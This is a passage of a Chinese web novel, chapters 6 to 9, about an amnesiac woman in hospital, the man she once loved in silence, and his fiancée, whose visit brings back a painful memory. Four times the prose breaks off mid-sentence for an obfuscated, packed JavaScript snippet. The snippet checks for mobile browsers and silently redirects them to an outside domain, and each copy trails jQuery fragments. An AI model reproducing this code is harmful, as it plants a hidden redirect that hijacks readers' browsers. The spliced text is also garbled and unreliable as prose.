“我不怕。”许念晞打断他，声音依旧很轻，却带着一种奇异的笃定。她抬起眼，看向窗外那片被夕阳染成橘红色的天空，眼神空旷而遥远，“只是觉得……有点可惜。” “可惜什么？”何宇薛的声音绷得极紧。 “可惜……”她微微偏过头，目光重新落在他痛苦的脸上，带着纯粹的不解，“可惜我好像忘记了很多重要的事。可惜……你记得那么清楚，一定很辛苦。” “……” 何宇薛整个人像是被瞬间冻结了。 所有的声音都卡在喉咙里，所有的情绪都凝固在脸上。他仰视着她，看着她那双映不出过往、却清晰映出此刻狼狈的自己的眼睛。 辛苦？ 何止是辛苦。 那是一场永无止境的凌迟。是每天面对挚爱之人陌生的目光，是每次自我介绍时心脏的抽搐，是看着记忆的流沙从指缝溜走却无能为力的绝望，是背负着所有过往甜蜜与伤痛的沉重枷锁，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418930|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人可以分担，只能独自在每一个深夜里反复咀嚼，直至血肉模糊。 而她，这个施加者，却用最无辜、最残忍的语气，对他说：“你一定很辛苦。” 巨大的悲恸和荒谬感海啸般袭来，瞬间冲垮了他所有强撑的堤坝。 他猛地低下头，额头抵在冰凉的床沿上，宽阔的肩膀无法抑制地剧烈颤抖起来。一声压抑到了极致、仿佛从肺腑最深处撕裂而出的哽咽，终于冲破了所有束缚，闷闷地响在寂静的病房里。 他没有哭出声，只是那样颤抖着，像一头身受重伤、濒临死亡的野兽，发出无声而绝望的哀鸣。 许念晞怔住了。 她看着他颤抖的脊背，听着那压抑的、破碎的哽咽，心口那片空茫的地方，突然像是被什么东西狠狠凿了一下，传来一阵尖锐而陌生的刺痛。 那刺痛来得如此突然，如此剧烈，让她瞬间屏住了呼吸。 她下意识地伸出手，想要碰一碰他那看起来无比脆弱、无比痛苦的肩膀。 指尖即将触碰到他大衣面料的前一刻，她却停住了。 大脑依旧是一片空白。没有任何记忆告诉她，此刻应该做什么，可以做什么。 她伸出的手，就那样僵硬地悬在半空中。 最终，她只是慢慢地、慢慢地收回了手，指尖蜷缩起来，抵在自己同样冰凉的心口。 那里，因为那阵突如其来的尖锐刺痛，正慌乱地跳动着。 她看着他颤抖的背影，看着这个连日来沉默陪伴、此刻却崩溃得不成样子的男人，一种巨大而无措的茫然，像潮水一样将她淹没。 她不明白。 不明白他为什么如此痛苦。 不明白自己心口那陌生的刺痛从何而来。 不明白“可惜”两个字，为何会引来如此剧烈的反应。 她只是隐隐约约地感觉到，这场疾病带来的后遗症，远不止是遗忘那么简单。 它像一道无形的深渊，横亘在她与他之间。 她在深渊的此岸，一片空白，只有模糊的当下。 他在深渊的彼岸，背负所有，沉溺于过去的滔天巨浪。 而她一句无心的“可惜”，像一颗无意投下的石子，却在他那片痛苦的海洋里，激起了毁灭性的海啸。 何宇薛的颤抖持续了很久，才渐渐平息下来。 他始终没有抬头，只是用极大的意志力，一点一点地重新控制住自己的情绪。当他再次抬起头时，眼眶通红得骇人，脸上带着水痕，但表情已经重新覆上了一层坚硬的、疲惫的外壳。 他站起身，没有看她的眼睛，声音沙哑得几乎撕裂：“你休息吧。我……我去找医生再谈谈。” 他说完，几乎是踉跄地转身，快步离开了病房。背影仓皇而狼狈，仿佛多留一秒，都会再次失控。 病房里再次只剩下许念晞一个人。 夕阳的最后一点余晖也从窗外褪去，暮色四合，房间陷入一片昏暗。 她久久地坐在床上，没有动，也没有去开灯。 黑暗中，她拿过了床头的笔记本和笔。 她摸索着，在崭新的页面上，缓慢地写下： 「今天，药很苦。我很难受。」 「他哭了。」 写到这里，她停住了笔。 黑暗中，她抬起手，轻轻按在心口的位置。那里似乎还残留着那阵陌生的、尖锐的刺痛感。 她沉默了很久很久。 然后，在那一行字下面，她极其缓慢地、笨拙地，画下了一个小小的、歪歪扭扭的图案。 那看起来，像是一颗破碎的心。是已经碎得零零碎碎的心。 6. 第 6 章 何宇薛那天之后，有整整两天没有出现。 病房突然恢复了之前的空旷和寂静。护士照常查房换药，医生按时来询问状况，窗外的天空依旧按时亮起、黯淡。一切似乎都和之前一样。 但又完全不同。 许念晞发现自己会在某些瞬间突然走神。看着空着的椅子，听着走廊上陌生的脚步声，甚至只是看着床头柜上那本越来越厚的笔记本，心里会泛起一丝极细微的、连她自己都无法命名的失落。 她翻看之前的记录。「他哭了。」那一行字下面，那个歪歪扭扭的破碎心脏图案，像一枚灼人的烙印，让她指尖微微发烫。 为什么哭？因为她说了“可惜”？还是因为别的什么？ 她想不明白。这种“想不明白”本身，也变成了一种新的焦灼，混在那因药物而持续存在的疲惫和眩晕里，让她比平时更加沉默。 第三天下午，病房门被敲响时，许念晞几乎是不受控制地立刻抬起了头，心脏莫名地跳快了一拍。 但推门进来的，不是何宇薛。 是一个年轻漂亮的女人。穿着当季最新款的香奈儿套装，拎着价值不菲的手袋，妆容精致得一丝不苟。她身上带着一种好闻的、昂贵的香水味，与医院消毒水的气味格格不入。她的目光在病房内快速扫视一圈，最后落在许念晞身上，带着一种毫不掩饰的打量和某种居高临下的审视。 许念晞茫然地看着她，确定自己不认识这张脸。 “你就是许念晞？”女人开口，声音清脆，语调却带着一种不易察觉的尖锐。她走近几步，高跟鞋踩在地板上发出清晰的嗒嗒声。 许念晞点了点头，下意识地往后靠了靠。这个女人身上散发出的气场让她感到不适。 女人在她床前站定，目光从她苍白的脸滑到瘦削的肩膀，最后落到那本摊开的笔记本上，嘴角几不可查地撇了一下。 “我叫苏晚晴，”她自我介绍，语气平淡，却像是在宣告某种所有权，“是何宇薛的未婚妻。” 未婚妻。 三个字，像三颗冰冷的石子，投入许念晞空茫的心湖。 没有激起剧烈的波澜，却让那湖面瞬间冻结了一层薄薄的冰。一种冰冷的、僵硬的麻木感，从心脏开始，缓缓向四肢蔓延。 她看着苏晚晴那张漂亮却缺乏温度的脸，大脑一片空白。 何宇薛的……未婚妻？ 所以，他是有女朋友的。不，是未婚妻。 所以，他每天的到来，他那些沉默的陪伴，他偶尔流露出的痛苦……原来，都只是出于“朋友”的同情和愧疚？甚至可能，是一种她无法理解的、来自已有家室者的多余负担？ 所有之前那些细微的、让她困惑的感知，那些心口莫名的刺痛，此刻仿佛都找到了一个残酷而合理的解释。 原来如此。 “宇薛最近很忙，”苏晚晴的声音继续响起，打破了病房里死寂的沉默，她像是在陈述一件公事，语调平稳却带着无形的压力，“公司有几个大项目同时推进，他抽不开身，又担心你这里没人照应，所以让我来看看。” 她说着，将手里的一个精美果篮放在床头柜上，恰好压住了那本笔记本的一角。 “谢谢你之前对宇薛的……‘照顾’。”苏晚晴的目光意有所指地扫过许念晞，那个“照顾”听起来格外刺耳，“不过现在既然我回来了，就不麻烦你了。你也好好养病，需要什么可以跟护士说，或者……直接告诉我也行。” 她的话说得滴水不漏，甚至带着表面上的客气，但每一个字都像细小的冰针，精准地刺向许念晞，带着清晰的划清界限的意味。 许念晞的手指无意识地攥紧了被角，指节泛白。她垂下眼睛，长长的睫毛在苍白的脸颊上投下淡淡的阴影，遮住了她眼底一闪而过的、连她自己都未曾捕捉到的刺痛。 “哦，”她听到自己的声音干涩地响起，像生了锈的齿轮，“谢谢。不用麻烦。” 苏晚晴似乎对她的反应很满意，脸上的表情缓和了些许。“那就好。”她顿了顿，像是忽然想起什么，从手袋里拿出一个丝绒盒子，打开。 里面是一枚设计简约却璀璨夺目的钻石戒指。 “你看，这是宇薛上个月陪我去选的订婚戒指。”她将盒子递到许念晞眼前，语气里带着一丝不易察觉的炫耀和试探，“他说工作再忙，这种事也不能耽搁。你觉得怎么样？” 钻石的光芒在昏暗的病房里有些刺眼。 许念晞的目光落在戒指上，瞳孔微微收缩。 就在那一瞬间—— 大脑深处，某个被厚重尘埃封锁的角落，仿佛被这刺目的光芒猛地撬开了一条缝隙！ 一幅模糊的画面毫无预兆地炸开！ 喧闹的酒吧角落，彩灯旋转。她手里紧紧攥着一个冰凉的小盒子，盒子的棱角硌得掌心生疼。心跳快得像是要挣脱胸腔。她看着不远处被朋友们簇拥着、正在庆祝某个项目成功的何宇薛，他笑得那么意气风发。她深吸一口气，鼓足所有勇气，正要穿过人群走向他—— 一个穿着红色长裙、明艳照人的女孩却先她一步，笑着扑过去挽住了他的胳膊，姿态亲昵自然。何宇薛愣了一下，随即低头对那女孩露出了一个她从未见过的、带着纵容和无奈的笑容。周围的朋友们开始起哄…… 她站在原地，像被一盆冰水从头浇下。掌心里的盒子变得滚烫，又迅速冰冷。所有鼓起的勇气在瞬间泄尽，只剩下无边的难堪和冰冷彻骨的绝望。她一步步后退，最终转身，仓皇地逃离了那片喧闹，逃离了那个她永远无法企及的中心…… “呃……”许念晞猛地发出一声痛苦的呻吟，脸色瞬间变得惨白如纸！额头上渗出细密的冷汗。 太阳穴像是被钢针狠狠刺入，剧痛无比！心脏疯狂地跳动，带着一种窒息的抽痛感！ 那画面一闪即逝，快得抓不住细节，只留下那种汹涌的、几乎将她溺毙的冰冷绝望和难堪，如此真实，如此强烈，仿佛就发生在上一秒！ “你怎么了？”苏晚晴被她的反应吓了一跳，下意识地合上了戒指盒子，后退了一步，眉头蹙起，带着戒备和一丝不耐烦，“没事吧？” 许念晞蜷缩起身体，双手死死地按住抽痛的太阳穴，大口地喘息着，浑身不受控制地颤抖。那股突如其来的剧烈情绪几乎将她撕裂，远远超过了药物带来的不适。 是……真的吗？ 那个画面……那个穿着红裙的女孩……那个何宇薛纵容的笑容…… 那就是她无数次试图告白，却又无数次被打断、被阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418931|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔的……其中一次吗？ 那就是她最终死心，彻底删除他所有联系方式的原因吗？ 因为他身边，早已有了如此耀眼、如此登对的存在？ 未婚妻…… 原来，她长达三年的暗恋，那些小心翼翼的靠近，那些反复排练的告白，那些最终积攒成山的失望……从头到尾，都只是一场可笑又可怜的……自我感动？ 巨大的荒谬感和迟来了数年的尖锐羞耻感，如同海啸般将她吞没。 “护士！”苏晚晴显然不想惹上麻烦，快步走到门口叫来了护士。 护士匆忙进来，看到许念晞痛苦的样子，连忙进行检查和安抚。 苏晚晴站在一旁，看着许念晞蜷缩在病床上、脆弱不堪的样子，眼神复杂。她似乎目的已经达到，不再多留。 “既然你不舒服，我就不打扰了。”她整理了一下自己的套装，语气恢复了之前的疏离客气，“好好休息吧。我会告诉宇薛你情况稳定，让他不必……过于担心。” 最后那几个字，她说得意味深长。 说完，她转身离开，高跟鞋的声音清脆而决绝地消失在走廊尽头。 许念晞在护士的安抚下，身体的颤抖渐渐平息，头部的剧痛也慢慢褪去，只剩下一种深入骨髓的疲惫和冰冷。 那股突如其来的记忆碎片，带来的情绪风暴过后，留下的是一片更加荒芜的空洞。 护士给她喂了水，又叮嘱了几句，才放心离开。 病房里重新只剩下她一个人。 寂静无声。 她缓缓地坐起身，目光空洞地落在窗外。夜色已经完全降临，玻璃窗上模糊地映出她苍白而麻木的脸。 她慢慢地拿过那本被果篮压住一角的笔记本。 翻到新的一页。 笔尖颤抖着，悬停在纸页上方。 许久。 她终于落下笔。 「今天，来了一个叫苏晚晴的女人。」 「她说，她是何宇薛的未婚妻。」 写到这里，她的笔尖停顿了。眼前似乎又闪过那枚刺眼的钻戒，和那个模糊的、令人绝望的画面。 她沉默了很久。 然后，在那行字下面，她极其缓慢地、一笔一划地，写下了两个字： 「真好。」 墨迹在纸面上晕开，像一滴无声的泪。 她看着那两个字，看了很久很久。然后，她伸出手，轻轻将这一整页纸，从笔记本上撕了下来。 动作缓慢，却异常坚决。 刺啦—— 清脆的撕裂声，在寂静的病房里显得格外刺耳。 她将撕下来的那页纸，一下，又一下，慢慢地撕成了碎片。碎片像雪花一样，飘落在床边的垃圾桶里。 做完这一切，她仿佛用尽了所有力气，瘫软地靠回枕头里，闭上了眼睛。 睫毛剧烈地颤抖着，一滴眼泪终于无法抑制地，从眼角悄然滑落，迅速没入鬓角，消失不见。 仿佛那一页记录，连同那个突然闯入的、带着钻戒和宣示意味的女人，以及那段被强行撬出的、令人难堪的记忆碎片，都从未存在过。 只剩下垃圾桶里那堆苍白的碎纸，无声地诉说着一场刚刚发生的、无声的崩塌。 7. 第 7 章 垃圾桶里的碎纸，像一场小型雪崩后的残骸，寂静地堆叠着。 许念晞闭着眼，眼泪无声地流淌，浸湿了鬓角和枕头。那不是汹涌的悲恸，而是某种更深沉、更绝望的枯竭，仿佛连哭泣本身都成了一种徒劳的消耗。 「未婚妻」。 「真好」。 那被撕碎的谎言下面，是她不敢触碰的真实——那颗刚刚被记忆碎片刺得鲜血淋漓的心。 五年。 原来，从懵懂的心动到积重难返的执念，已经过去了整整五年。 她还记得大一刚入学时，在拥挤的礼堂里，他作为优秀新生代表发言。灯光打在他身上，他穿着简单的白衬衫，身姿挺拔，眼神清亮又带着一丝少年人特有的锐气，声音透过麦克风清晰地传到每个角落，不疾不徐，沉稳有力。那一刻，周围的一切仿佛都模糊了，只剩下那个发光体。她坐在台下，心跳如擂鼓，手心里全是汗。 那是故事的开始。一场漫长而无望的暗恋序幕。 她费尽心思打听他的课程表，假装无数次“偶遇”；她熬夜帮他整理他可能根本不需要的复习资料，却只敢匿名塞进他班级的信箱；她记得他随口提过的喜欢的乐队，跑遍全城去买绝版CD，最终却只是放在自己抽屉深处；她在他打篮球时，总是坐在最远的看台角落，手里捏着一瓶水，直到比赛结束人群散尽，也没敢上前一步。 她的世界很小，小到只能围绕着一个名为“何宇薛”的恒星运转，汲取着微不足道的光和热，幻想着一场不可能的靠近。 直到大三那年，她听说他似乎恢复了单身。沉寂下去的希望像野草般疯长。她花了整整一个学期鼓足勇气，删了又写，写了又删，准备了那封或许稚嫩却饱含真心的告白信，小心翼翼地放进了那个丝绒盒子里——里面还有那张他喜欢的乐队的CD。 那天晚上，在喧闹的酒吧，彩灯晃得人眼晕。她手里紧紧攥着那个盒子，像是攥着自己全部的心跳和未来。她看着他，被朋友环绕，笑容明亮。就是那一刻了，她对自己说。 然后，那个穿着红裙的女孩出现了。像一团灼人的火焰，轻而易举地靠近他，挽住他，姿态亲昵而自然。他脸上的错愕很快化为那种她从未拥有过的、带着纵容和无奈的笑意。周围的起哄声像尖针一样刺穿她的耳膜。 她所有的勇气在那一刻被炸得粉碎。掌心的盒子变得无比滚烫，又迅速冰冷下去，冷得像一块冰，冻僵了她的血液和呼吸。 她像个小丑，仓皇逃离。 那天之后，她删掉了手机里所有他的照片，取关了他所有的社交账号，甚至刻意绕开他可能出现的所有路线。她试图将这个人从自己的生命里彻底剥离，尽管每一次“删除”都像是在心口剜下一块肉。 她以为时间可以治愈一切。 她以为毕业、工作、新的环境，可以让她重生。 直到那场车祸。 直到他重新出现，带着那种令人窒息的沉默和偶尔流露的、让她困惑的痛苦。 她原本死寂的心湖，竟又可耻地泛起微澜。她为他找尽了借口，甚至开始怀疑自己过去的认知是否出了错。他那天的眼泪，几乎让她相信，或许……或许有什么苦衷？或许…… “未婚妻”。 苏晚晴的出现，和她指尖那枚璀璨冰冷的钻石，像一把巨锤，彻底砸碎了她所有可笑的自欺欺人。 没有苦衷。没有误会。 他只是不爱她。从未爱过。 他或许对她的暗恋有所察觉，于是他的存在本身，就成了她无法挣脱的地狱。一次次给予微不足道的希望，又一次次由别人来亲手碾碎。甚至在她遗忘一切、最脆弱无助的时候，他的出现，他的照顾，他那些似是而非的情绪，都成了另一种形式的凌迟。 而这一次，更加残忍。 因为她差点，又当真了。 差点又重蹈覆辙，差点又让自己陷入那万劫不复的可怜境地。 眼泪似乎流干了。许念晞缓缓睁开眼，视线模糊地落在垃圾桶的那些碎片上。 地狱从来不是别人给的。 是她自己，亲手为自己打造的。用五年的窥探、五年的幻想、五年的求而不得，铸就了这座名为“何宇薛”的牢笼。而他，只是恰好扮演了那个手持钥匙，却永远不会为她打开门的人，甚至偶尔，还会好奇地向里张望，疑惑她为何被困其中。 护士进来为她测量体温，看到垃圾桶里的碎纸和她红肿的眼睛，轻轻叹了口气，什么也没问，只是温柔地替她掖了掖被角。 许念晞像个失去灵魂的木偶，任由摆布。 晚上，何宇薛来了。 他看起来有些疲惫，风尘仆仆，手里依旧提着她喜欢的那家粥店的包装袋。 “念晞，抱歉，这两天公司事情太多，脱不开身。”他走到床边，声音里带着一丝不易察觉的沙哑，他将粥放在床头柜上，目光扫过那个精致的果篮，微微顿了一下，随即移开，像是没看到垃圾桶里的异常。 他习惯性地想去拿那本笔记本，手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418932|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指却落了个空——笔记本被压在了果篮下面。 他的动作僵了一瞬。 许念晞静静地看着他。第一次，用一种近乎冰冷的、审视的目光，穿透了往日因失忆和药物而蒙上的那层模糊滤镜。 她看着他略显疲惫的眉眼，看着他自然流露的关切，看着他所有看似真诚的举动。 真厉害啊，何宇薛。 一边守着光鲜亮丽的未婚妻，一边对着过去痴恋自己、如今无比脆弱的前任摆出这副深情愧疚的姿态。他究竟在想什么？是享受这种被需要的感觉？还是仅仅为了安抚他自己的良心？ 她的沉默和凝视似乎终于引起了何宇薛的不安。他转过头，对上她的眼睛。 那双曾经盛满迷茫、依赖、甚至偶尔闪过羞涩和欣喜的眼睛，此刻只剩下一片深不见底的枯寂和……冰冷。 何宇薛的心猛地一沉。 “念晞？”他试探着叫她的名字，声音不自觉地放轻了，带着一丝连他自己都未察觉的慌乱。 许念晞缓缓地、极其缓慢地，扯动了一下嘴角。那不是一个笑容，而是一个极其空洞和疲惫的弧度。 她的声音很轻，却像冰碴一样，清晰地划破空气： “何先生，”她顿了顿，仿佛在确认这个陌生的称谓，“谢谢你来看我。” “……”何宇薛彻底愣住，瞳孔微缩，脸上血色褪尽。他像是没听懂这三个字，又像是被这三个字狠狠刺穿了心脏。 “未婚妻很漂亮，”许念晞继续说着，目光平静地落在他瞬间变得苍白的脸上，语气平淡无波，听不出任何情绪，“戒指也很好看。” “祝你们……” 她停了下来，似乎在想合适的措辞，最终，只是极其轻微地，摇了摇头。 “再见。” 最后两个字，轻得几乎听不见，却带着一种诀别的意味。 何宇薛僵在原地，提着粥袋的手指无意识地收紧，指节泛白。他张了张嘴，喉咙像是被什么堵住，发不出任何声音。他看着许念晞，看着她重新闭上眼，转过身去，只留给他一个拒绝的、疏离的背影。 仿佛有一道无形的、巨大的鸿沟，在这一刻，轰然裂开在他们之间。 他带来的那点温暖和粥的香气，根本无法穿透这瞬间筑起的、冰冷的壁垒。 他站在原地，久久没有动弹。病房里的空气凝固了，沉重得令人窒息。 他终究，还是把她推进了更深的地狱。而他，连靠近的资格，似乎都失去了。 8. 第 8 章 哭是什么感觉……难道哭是希望我能忘了他吗？ 时间像是被冻住了，又像是被拉长了无数倍。 何宇薛僵立在病床边，手里还提着那份逐渐失去温度的粥。他能听到自己血液冲刷过耳膜的嗡鸣，以及心脏一下下沉重又紊乱的搏动。许念晞那个转身，那个背影，像一把生锈的钝刀，在他胸腔里反复碾磨。 “何先生”。何先生（呵呵） 这三个字，比任何尖锐的质问和哭喊都更具杀伤力。它精准地将他推回到一个遥远而疏离的位置，彻底否决了这些天所有小心翼翼的靠近，所有试图弥补却无法言说的煎熬。 还有她提到“未婚妻”和“戒指”时的语气。没有愤怒，没有怨恨，甚至没有一丝波澜。只有一种彻底的、死寂的平静。仿佛只是在陈述一件与己无关的事实，然后，礼貌地请他离开她的世界。 他宁愿她哭，她闹，她骂他。 而不是像现在这样，安静地背对着他，仿佛连多看他一眼都是多余。 护士进来换输液瓶，察觉到病房里几乎凝成实质的低气压，动作不由得放得更轻，眼神在何宇薛苍白的脸和许念晞的背影之间快速扫过，带着一丝怜悯和疑惑，又悄无声息地退了出去。 门被带上的轻响，终于打破了令人窒息的沉默。 何宇薛的喉结艰难地滚动了一下。他缓缓地将粥放在床头柜上，动作轻缓，像是怕惊扰到什么，尽管他知道，或许再也惊扰不到她了。 他想说点什么。解释？道歉？还是苍白的辩解？ 嘴唇翕动，却发不出任何声音。所有的语言在此时此刻都显得如此苍白无力，甚至可笑。在她那片刚刚经历了一场无声雪崩的世界里，任何来自他的声音，恐怕都只是多余的噪音。 他还能说什么？ 说苏晚晴并不是他真正想娶的人？说那枚戒指背后是家族的压力和利益的权衡？说他和苏晚晴之间冰冷的关系以及各取所需的本质？ 这些成年人世界里的算计和不堪，如何能说给她听？又凭什么说给她听？用这些作为自己徘徊在她病床前的理由，岂不是更加卑劣？ 他甚至无法理直气壮地说一句“我只是作为朋友关心你”。朋友不会让她暗恋五年而装作不知，朋友不会在她鼓起勇气时身边已有他人，朋友更不会在她最脆弱的时候，给予这种暧昧不清、足以再次误导她的“照顾”。 他错的太深，太久。 久到已经失去了任何辩白的资格。 最终，他只是极其艰难地，从干涩的喉咙里挤出几个字，声音沙哑得几乎破碎：“粥……记得喝。” 没有回应。 那个背影一动不动，连睫毛都未曾颤动一下，仿佛已经睡着，或者根本不愿再给予任何回应。 何宇薛站在原地，又停留了几分钟。这几分钟漫长得像一个世纪。他看着她瘦削的肩头，看着露在被子外的手背上清晰的针孔，看着垃圾桶里那些刺眼的碎纸片…… 一股巨大的、几乎要将他淹没的酸楚和无力感汹涌而来。 他最终，还是慢慢地转过身，一步一步地走向门口。脚步沉重得像是灌满了铅。 推开病房门，再轻轻带上。 隔绝了里面那个冰冷绝望的世界，也隔绝了他自己。 他没有立刻离开，而是背靠着冰冷的墙壁，缓缓滑坐在走廊的长椅上。医院走廊的灯光白得刺眼，消毒水的味道无孔不入。 他抬起手，捂住了脸。 指尖冰凉。 胸腔里堵着的那团东西，又硬又涩，胀得发痛。 他想起了她刚才的眼神。那片枯寂的、没有任何光亮的深海。 他想起了她记录在笔记本上的那些碎片：「他哭了。」下面那个歪扭的破碎心脏。 哭？我为什么哭？ 为什么要哭呢？ 渣男能拿我怎么样？ 那我…… 当时为什么哭？ 因为看到她满头纱布昏迷不醒的样子？因为医生那句“脑部受损，记忆可能永久缺失”？因为意识到自己可能就是那个间接造成这一切的、她想要彻底删除的“痛苦根源”？ 还是因为……在那种巨大的恐慌和愧疚之下，连他自己都无法分辨的、某种更深层的情感？ 不知道。 他只知道，现在，此刻，他比那天更想哭。 可是，眼眶干涩得发疼，却流不出一滴眼泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418933|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成年人的世界早已教会他如何压抑情绪，如何维持体面，如何将所有的波澜都禁锢在平静的表象之下。他甚至已经忘了，上一次毫无顾忌地流泪是什么时候。 哭是什么感觉？哭到底是什么感觉？ 他好像，已经不会哭了。 只是觉得心脏的位置，空了一个大洞，呼啸着穿过冰冷的风，带着无尽的悔恨和绝望，刮得他四肢百骸都在疼。 走廊尽头传来值班护士轻微的脚步声和推车的轮子声，由远及近，又渐渐远去。 一片寂静里，只有他自己沉重而压抑的呼吸声。 病房内。 许念晞缓缓睁开了眼睛。 听着门外最终远去的、熟悉的脚步声，她眼底最后一丝极其微弱的、连她自己都不愿承认的期待，也彻底熄灭了。 看吧，许念晞。 他走了。 一如既往。 你的世界，最终只剩下你自己，和这座名为绝望的废墟。 她慢慢地伸出手，拿起床头柜上那碗已经凉透的粥，塑料碗壁冰着她的指尖。 她看了很久。 然后，她揭开盖子，拿起勺子，一口一口，机械地、沉默地，开始吃。 粥很凉了，粘稠地糊在喉咙里，难以下咽。 她只是吃着，面无表情地吃着，直到吃完最后一口。 仿佛完成一个仪式。 一个告别过去那个愚蠢、卑微、渴望被爱的自己的仪式。 吃完后，她抽出纸巾，仔细地擦了擦嘴角。 然后，她重新拿过那本笔记本，翻过被果篮压出痕迹的那一页，在新的一页上，平静地写下今天的日期。 笔尖停顿片刻。 她写下： 「今天的粥，是凉的。」【粥是凉的，眼泪也是凉的。】 没有情绪，没有抱怨，只是一个简单的陈述句。 合上笔记本。 她躺下，重新闭上眼。 这一次，她的呼吸平稳，脸上再无波澜，仿佛真的睡着了。 只是放在被子外面的手，无意识地，紧紧攥成了拳。指甲深深嵌入掌心，留下几个月牙形的、泛白的痕迹。 9. 第 9 章 接下来的几天，何宇薛没有再出现。 仿佛那晚许念晞那句冰冷的“何先生”和诀别的“再见”终于起了作用，将他彻底驱逐出了她的世界。 病房里彻底恢复了最初的死寂。甚至比之前更加空旷，因为连那点微不足道的、曾让她心烦意乱又不由自主期待的“打扰”也消失了。 许念晞的恢复进程似乎加快了。她积极配合着所有的治疗和复健，沉默地忍受着药物带来的副作用和身体上的酸痛。她的话变得更少，眼神里的空洞被一种近乎麻木的坚韧所取代。 她不再看窗外，大部分时间只是看着天花板，或者闭目养神。那本笔记本也被塞到了枕头底下，不再时时记录。 护士们私下里议论，说许小姐好像变了个人，比以前更冷，更难以接近，但也更让人心疼。 那天下午，许念晞需要进行一次脑部核磁共振复查。护工推着她的轮椅，穿过长长的走廊，前往影像科。走廊的灯光明明灭灭地掠过她苍白的脸。 就在经过一个转角时，她听到了一个熟悉的声音，压抑着，带着某种焦灼和不耐烦。 是何宇薛。 他站在走廊尽头的窗边背对着这边打电话，并没有注意到身后的轮椅。 “……晚晴，我现在真的走不开，医院这边……”他的声音透着一股深深的疲惫，“我知道订婚宴的细节需要定，但你决定就好，或者让我妈陪你去……” 许念晞的手指无意识地蜷缩了一下，指甲掐进掌心。 护工推着她，不得不从他身后经过。 他的声音清晰地钻进她的耳朵。 “……不是借口！她上次情况很不稳定，医生说了不能受刺激……我必须得看着……” 许念晞的嘴角极其轻微地勾了一下，那是一个冰冷而嘲讽的弧度。 看吧。又是这样。 永远有借口。永远有更重要的事。永远身不由己。 五年前，是学业繁忙，是朋友起哄，是那个穿着红裙的女孩太过耀眼夺目他无法拒绝。 五年后，是公司项目，是未婚妻的压力，是她许念晞“情况不稳定”、“不能受刺激”，所以他不得不“看着”。 多么冠冕堂皇。多么无奈又深情。 仿佛他的每一次缺席，每一次伤害，背后都有天大的苦衷，都值得被体谅。 那他呢？他何宇薛自己呢？在那一个个借口之下，他自己的意愿呢？他真正想要的是什么呢？ 或许，他真正想要的，就是维持现状。享受未婚妻带来的体面和利益，同时也不完全放弃一个痴恋他多年、如今因他而重伤失忆的女孩子所带来的那点虚荣和愧疚的满足。 自私得如此彻底，又如此可悲。 护工推着她，已经越过了他。 何宇薛似乎感觉到了什么，猛地回过头。 他的目光捕捉到了轮椅上那个瘦削冷漠的侧影。他的话音戛然而止，手机还贴在耳边，脸上闪过一丝猝不及防的慌乱和尴尬。 “念晞……”他下意识地叫了一声。 许念晞没有回头。 甚至连睫毛都没有颤动一下。 仿佛根本没有听到他的声音，根本没有认出他是谁。她只是平静地目视前方，任由护工推着她，平稳地、决绝地，消失在走廊的拐角。 何宇薛举着手机，僵硬地站在原地，听着电话那头苏晚晴不满的追问声，只觉得刚才那一刻，许念晞那彻底无视的态度，比任何指责都更让他窒息。 她听到了。 她一定听到了。 而她选择的方式，是将他彻底视为无物。 核磁共振的检查过程漫长而嘈杂。密闭的空间里，巨大的噪音反复冲击着耳膜。 许念晞躺在仪器里，闭上眼睛。 黑暗中，思绪却异常清晰。 她想起了那场车祸。 那是她离死亡最近的一次。 剧烈的撞击声，玻璃破碎的尖啸，身体被巨大的力量撕扯、抛掷……世界在天旋地转中迅速被黑暗吞噬。 在失去意识的前一秒，她在想什么？ 好像什么都没有想。没有想起父母，没有想起未完成的梦想，甚至……没有清晰地想起何宇薛。 只有一种极致的、解脱般的平静。 仿佛终于可以休息了，终于可以不用再那么努力地去喜欢一个人，不用再承受那些求而不得的苦涩和羞耻，不用再看着他和别人登对的模样而心如刀割。 